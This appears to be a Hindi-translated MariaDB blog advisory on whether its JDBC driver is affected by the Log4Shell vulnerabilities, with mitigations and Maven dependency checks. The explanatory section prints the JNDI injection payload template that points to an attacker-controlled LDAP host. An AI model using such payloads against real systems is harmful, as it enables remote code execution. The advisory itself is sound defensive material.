MariaDB
 sql >> डेटाबेस >  >> RDS >> MariaDB

क्या MariaDB JDBC ड्राइवर Log4j भेद्यता से प्रभावित है?

क्या मारियाडीबी जावा कनेक्टर हाल ही में Log4 में खोजी गई सुरक्षा भेद्यता से प्रभावित है? डिफ़ॉल्ट रूप से, जावा कनेक्टर Log4j का उपयोग नहीं करता है। हालांकि, अगर आपने इसे SLF4j का उपयोग करने के लिए कॉन्फ़िगर किया है, तो पढ़ते रहें।

MariaDB JDBC ड्राइवर के दायरे से बाहर की जानकारी के लिए, Log4Shell और MariaDB पढ़ें।

नोट :CVE-2021-45046 के बारे में विवरण शामिल करने के लिए इस ब्लॉग को 2021-12-15 में अपडेट किया गया था।

Log4j भेद्यता

Apache Log4j जावा अनुप्रयोगों के लिए एक लोकप्रिय ओपन-सोर्स लॉगिंग फ्रेमवर्क है। इसका उपयोग क्लाउड विक्रेताओं और ईमेल सेवा प्रदाताओं सहित विभिन्न ओपन-सोर्स और एंटरप्राइज़ प्रोजेक्ट्स में किया जाता है। 9 दिसंबर, 2021 को, Log4j में 0-दिन की भेद्यता पाई गई, जिसके परिणामस्वरूप रिमोट कोड निष्पादन हो सकता है, जिससे हैकर सिस्टम में मनमाने कोड को निष्पादित कर सकता है। भेद्यता को "Log4Shell" के रूप में जाना जाता है और इसे CVE-2021-44228 के रूप में ट्रैक किया जाता है।

संक्षेप में, भेद्यता एक हमलावर को एक JNDI लुकअप स्ट्रिंग को इंजेक्ट करने की अनुमति देती है, उदाहरण के लिए, एक दूरस्थ LDAP सर्वर (हमलावर द्वारा नियंत्रित) जो बदले में एक दुर्भावनापूर्ण जावा वर्ग देता है:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

अगर इस तरह की एक स्ट्रिंग Log4j द्वारा लॉग की जाती है, तो एक दुर्भावनापूर्ण जावा वर्ग मनमाना कोड चला सकता है (उदाहरण के लिए, कोड के एक स्थिर ब्लॉक के माध्यम से)।

प्रभावित संस्करण

सौभाग्य से, 2.15.0 से पहले केवल Log4j संस्करण 2.x प्रभावित होते हैं। अधिक जानकारी के लिए Apache Log4j सुरक्षा भेद्यता पृष्ठ देखें। Log4j संस्करण 1.x में भेद्यता मौजूद नहीं है।

CVE-2021-44228 को कैसे कम करें

भेद्यता को कम करने के लिए सबसे अच्छी रणनीति अपनी परियोजनाओं में Log4j निर्भरता को अद्यतन करना है। संस्करण 2.16.0, जो संदेश लुकअप को हटाता है, पहले से ही उपलब्ध है। इसे शीघ्र जारी करने के लिए टीम को सहारा।

अपडेट करें :Log4j 2.16.0 CVE-2021-45046 के रूप में ट्रैक की गई दूसरी भेद्यता को भी ठीक करता है।

MariaDB JDBC ड्राइवर Log4j 2.x का उपयोग नहीं करता है। हालांकि, यह SLF4J को सपोर्ट करता है। जाँच करें कि आप SLF4J के लिए Log4j बाइंडर का उपयोग कर रहे हैं या नहीं, और यदि ऐसा है, तो Log4j को तदनुसार अपग्रेड करें या निम्न कॉन्फ़िगरेशन चर सेट करें:

-Dlog4j2.formatMsgNoLookups=true

या निम्न पर्यावरण चर सेट करें:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

नोट :लॉगिंग केवल तभी सक्षम होती है जब log . द्वारा स्पष्ट रूप से सेट किया जाता है पैरामीटर। Log4j के अलावा, आप अन्य SLF4J बाइंडिंग जैसे जकार्ता कॉमन्स लॉगिंग, लॉगबैक, या जावा लॉगिंग एपीआई का विकल्प भी चुन सकते हैं।

यदि आप मावेन का उपयोग कर रहे हैं, तो आप यह पता लगाने के लिए निम्न कमांड चला सकते हैं कि क्या आपका प्रोजेक्ट Log4j पर निर्भर करता है:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

एक संवेदनशील प्रोजेक्ट में आपको किस तरह का आउटपुट मिलेगा, इसका एक उदाहरण यहां दिया गया है:

यदि किसी कारण से आपका प्रोजेक्ट संकलित नहीं होता है तो आप वैकल्पिक रूप से चला सकते हैं:

mvn help:effective-pom

log4j-core के लिए खोजें निर्भरता और उपयोग किए गए संस्करण की जांच करें।

अतिरिक्त जानकारी

ब्लॉग में लिंक की सूची:

  • मारियाडीबी जावा कनेक्टर
  • SLF4j
  • संबंधित ब्लॉग Log4Shell और MariaDB
  • सीवीई-2021-44228
  • Apache Log4j सुरक्षा भेद्यताएं
  • Apache Log4j संस्करण 2.16.0
  • log पैरामीटर

  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. कैसे YEARWEEK () मारियाडीबी में काम करता है

  2. कैसे CONVERT () मारियाडीबी में काम करता है

  3. लोड बैलेंसर्स के माध्यम से अपने डेटाबेस घटकों को अत्यधिक उपलब्ध (HA) बनाना

  4. ClusterControl - उन्नत बैकअप प्रबंधन - मारियाबैकअप भाग II

  5. मारियाडीबी JSON_ARRAYAGG () समझाया गया